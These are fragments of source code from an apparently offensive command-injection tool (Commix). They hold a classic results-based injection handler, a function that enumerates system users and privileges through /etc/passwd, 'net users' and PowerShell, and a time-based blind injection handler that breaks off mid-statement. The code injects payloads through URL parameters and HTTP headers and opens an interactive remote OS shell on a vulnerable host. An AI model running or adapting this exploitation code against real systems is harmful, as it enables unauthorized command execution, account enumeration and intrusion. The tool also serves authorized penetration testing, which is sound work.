Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision(separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = cb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) response = cb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results(response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print("") else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_success_msg(success_msg)) print(settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options() and not menu.options.os_cmd and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # file_access_again = sys.stdin.readline().replace("\n","").lower() file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # gotshell = sys.stdin.readline().replace("\n","").lower() gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) except: print("") continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: html_parser = _html_parser.HTMLParser() shell = html_parser.unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) if shell != "": print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else : sys.stdout.write("\r") sys.stdout.flush()
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" # URL encode "+ " if POST request and python alternative shell. if alter_shell and http_request_method == "POST": settings.SYS_USERS = settings.SYS_USERS.replace("+ ", "%2B") cmd = settings.SYS_USERS if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True except TypeError: output = "" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_users = output # Windows users enumeration. if settings.TARGET_OS == "win": if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: info_msg = "Confirming privileges of user '" info_msg += sys_users_list[user] + "'... " print settings.print_info_msg(info_msg) cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[ user] + ")[22..($(net user " + sys_users_list[ user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) check_privs = output check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" print "\n (" + str( count ) + ") '" + Style.BRIGHT + sys_users_list[ user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + sys_users_list[user] + is_privileged + ".\n") output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass # Unix-like users enumeration. else: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1: sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." print "\n" + settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users).strip() print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user:user + 3]) if len(sys_users_list) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ( 'ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'." sys.stdout.write( "\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL) ).sub("", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int( fields[1]) < 99: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int( fields[1]) < 65534: if int(fields[1]) == 99 or int( fields[1]) == 60001 or int( fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" else: is_privileged = "" is_privileged_nh = "" sys.stdout.write("\n (" + str(count) + ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2] + Style.RESET_ALL + "'.") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n") output_file.close() except ValueError: if count == 1: warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." print settings.print_warning_msg(warn_msg) sys_users = " ".join( str(p) for p in sys_users.split(":")) print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass
def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "blind OS command injection" technique = "time-based command injection technique" if settings.VERBOSITY_LEVEL != 0: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print(settings.print_warning_msg(warn_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.TIME_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, timesec, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) payload_msg = payload.replace("\n", "\\n") sys.stdout.write( settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) how_long = tb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5]) ) == 1: if max(xrange( len(how_long_statistic) ), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input( settings. print_question_msg( question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print( settings. print_error_msg( err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(1, 10) randv2 = random.randrange(1, 10) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " %2B " + str( randv2) + "" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str( randvcalc) and len( TAG ) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg else: percent = "" else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round( ((num_of_chars * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str( float_percent) + "%)" print(settings.SPACE) # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str( float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = 